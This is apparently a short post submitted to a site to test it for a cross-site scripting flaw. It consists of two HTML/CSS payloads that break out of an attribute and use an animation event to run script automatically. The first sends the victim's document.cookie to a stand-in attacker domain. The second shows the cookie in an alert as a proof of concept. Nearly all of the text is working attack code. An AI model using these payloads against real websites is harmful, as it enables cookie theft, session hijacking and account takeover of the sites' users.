story/post to test a vulnerability

"><style>@keyframes x {}</style><p style='animation: x;' onanimationstart="location.href = '//attacker-owned-website.com/?cookies=' + document.cookie"></p>

"><style>@keyframes x {}</style><p style='animation: x;' onanimationstart="alert(document.cookie)"></p>